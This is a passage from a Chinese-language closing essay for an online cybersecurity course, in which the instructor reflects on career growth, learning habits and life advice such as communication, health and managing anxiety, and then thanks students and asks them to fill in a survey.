很感谢自己当时毫不犹豫地选择了后者。因为我真的相信网络安全行业的潜力和未来,也真心对此感兴趣。于是,我遇到问题就开始向经验丰富的同事咨询,学习他们解决问题的方法,在这之后的三个月,我有了自己解决问题的能力,这是一个很奇妙且有趣的过程。另外,我还会通过网络认识一些与我有着同样困惑的伙伴,通过交流去尝试用各种各样的方案去解决问题,从而沉淀自己的方法论,当然这个过程中也少不了自己的探索,但其中的成就感却是拉满的。
|
||||
|
||||
就拿我准备这个专栏来说吧,大家都知道我更加擅长视频类课程,所以刚开始的时候我不太会写专栏,每写一句话都会有点迷茫,因为我不知道要讲到什么样的详细程度,还要考虑知识点的深度及广度问题。后来也是反复打磨,不断修改总结,虽然还是有很多让我感到疲惫的时刻,可是我每次都坚持过来了,哪怕熬到深夜,也是一个问题一个问题去解决。而在这一过程中呢,我的能力也在提升,所谓熟能生巧嘛,和解决技术难题也是相似的,你看我现在和你分享这些是不是感觉我的表达轻松多了。所以说,很多困难都是暂时的,只要我们勇敢去面对,就一定可以找到方法。
|
||||
|
||||
这之后,就到了我工作中的第二个阶段——积累学习阶段。此时的我对自己的技术有了一些自我肯定,但是也深知自己的学识不够深,所以我时刻提醒自己不要飘飘然,要保持谦虚的学习态度。更重要的是,你不要害怕自己的薄弱点,我们要做的是直面它们进行补充学习,有缺点能意识到我觉得是一件好事。不过在这个阶段,你要格外注意,避免递归学习。我当时是看到不会的知识就想去学习,但那时我不会的内容确实也比较多,每一个知识都系统学习的话,显然不太现实,所以我更建议你先去辨别出哪些才是真的关键的知识,先去学习这些,然后对于那些没那么重要的内容优先级可以降低一些,先有一个大致的了解即可。
|
||||
|
||||
就这样,我积累了三年左右,进入到了我现在长期处于的一个阶段中。在这个阶段,我对于很多工作上的内容都了然于心,也因此我对自己的要求有所松懈,导致了我在很长一段时间里停滞不前。后来,我发现有的新技术自己已经没有听说过了,这给我敲响了警钟,此后我又开始每天不断地学习新知识,紧跟技术前线,花了很多的功夫去弥补之前的懈怠,也在此提醒你不要犯和我一样的错误。
|
||||
|
||||
以上这些是我工作期间和技术相关的经历与感悟。但是人生远不止技术,在技术之外,我们还需要很多方面的认知,比如我们需要思考什么是人生?
|
||||
|
||||
宇宙是广阔无垠的,作为一个人,我们是非常渺小的。我们需要思考的是在几十年的人生中要做好什么事情,这是非常重要的一个问题,通常在搞清楚这个问题后,我们才会有一股信念,支撑我们去完成自己的期望和梦想。我个人是这样自我要求的,或许我们可以交流一下。
|
||||
|
||||
第一,我们需要具有与别人沟通的能力。这个能力是非常讲究艺术的,一句恰当的话语往往可以解决很多的麻烦,而不合适的话语则会导致很多问题变得复杂。除此之外,讲话的时机也非常重要。因此我建议你要有意识地去培养自己讲话的艺术,这会给你带来很多的助力。
|
||||
|
||||
第二,我们需要有分辨后果的能力。在做任何事之前都要想一想后果是不是自己可以承担的,如果无法承担,那就不要去做,如果能,也要在谨慎思考过后再进行尝试,这可以避免掉很多的麻烦。
|
||||
|
||||
第三,我认为年轻人在有原则的前提下,不要害怕失败。成功与失败有时不是我们能决定的事情,但我们可以决定以一个什么样的态度去做事,你是否将该做的事做好且尽心尽力、努力前进了呢?如果是的话,不成功就不等同于失败了,或许你的态度已经为你创造了更多的机遇。
|
||||
|
||||
第四,一定要爱惜自己的身体。老话常说,身体是革命的本钱,一点错没有。不要仗着年轻去消耗自己,哪怕加班文化在技术圈已经很普遍,你也要努力去保护好自己。前几天我去了趟医院去看我的腰,就医的过程中让我更加肯定了这一点,没有一个好的身体其他一切都是空谈。
|
||||
|
||||
第五,也是最重要的一点,我们要克服焦虑心理。现在的人压力都不小,很多人会出心理问题。在我刚毕业出来的时候也是非常焦虑的,这是我们上进的表现,可是它会对我们产生一定的副作用,导致我们难以干好眼前的事情,而去为将来焦虑。不如活在当下,一步一步坚实地迈向迈向未来吧。
|
||||
|
||||
最后感谢一路同行。在这个专栏中,我们一起学习了三十六节课程,能走到这里的同学我相信你一定非常优秀,也很能坚持,希望我的课程能为你带来助力,也期待你可以继续保持现在的状态,秉持着持续学习的态度,专注于自己的目标,而后无畏前行!
|
||||
|
||||
最后的最后,文末有一份结课问卷,希望你可以花两分钟的时间填写一下。我会认真倾听你对这个专栏的意见或建议,期待你的反馈!
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
Reference in New Issue
Block a user